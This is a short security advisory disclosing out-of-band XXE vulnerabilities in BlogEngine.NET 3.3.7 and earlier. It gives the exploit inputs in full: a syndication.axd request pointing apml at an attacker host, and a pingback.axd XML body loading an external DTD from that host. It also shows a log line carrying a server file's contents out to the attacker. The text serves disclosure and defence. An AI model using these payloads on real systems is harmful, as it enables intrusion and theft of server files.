BlogEngine.Net XXE issues

[aaron bishop <abishop () linux com>]

BlogEngine.NET, versions 3.3.7 and earlier, are vulnerable to an
Out-of-band XXE attack through syndication.axd and pingback.axd.

*syndication.axd *accepts an external xml as the value for apml through a
request such as:

http://$RHOST/blog/syndication.axd?*apml=http://$LHOST/oob.xml*

*pingback.axd*  will parse a POST with an XML body, such as:

<?xml version="1.0"?>
    <!DOCTYPE foo SYSTEM "http://$LHOST/ex.dtd";>
    <foo>&e1;</foo>
<methodName>pingback.ping</methodName>

<methodName>pingback.ping</methodName> is required in the body for the XML
to be parsed.

An Out-of-band XXE attack results in the XML parser sending the contents of
a file on the victim to the attack as part of a request such as:

$RHOST - - [01/Apr/2019:16:34:40 -0600] "GET
/EX?;%20for%2016-bit%20app%20support%0D%0A[fonts]%0D%0A[extensions]%0D%0A[mci%20extensions]%0D%0A[files]%0D%0A[Mail]%0D%0AMAPI=1%0D%0A[MCI%20Extensions.BAK]%0D%0A3g2=MPEGVideo%0D%0A3gp=MPEGVideo%0D%0A3gp2=MPEGVideo%0D%0A3gpp=MPEGVideo%0D%0Aaac=MPEGVideo%0D%0Aadt=MPEGVideo%0D%0Aadts=MPEGVideo%0D%0Am2t=MPEGVideo%0D%0Am2ts=MPEGVideo%0D%0Am2v=MPEGVideo%0D%0Am4a=MPEGVideo%0D%0Am4v=MPEGVideo%0D%0Amod=MPEGVideo%0D%0Amov=MPEGVideo%0D%0Amp4=MPEGVideo%0D%0Amp4v=MPEGVideo%0D%0Amts=MPEGVideo%0D%0Ats=MPEGVideo%0D%0Atts=MPEGVideo
HTTP/1.1" 404 438 "-" "-"

Disclosure at:
https://www.securitymetrics.com/blog/blogenginenet-xml-external-entity-attacks

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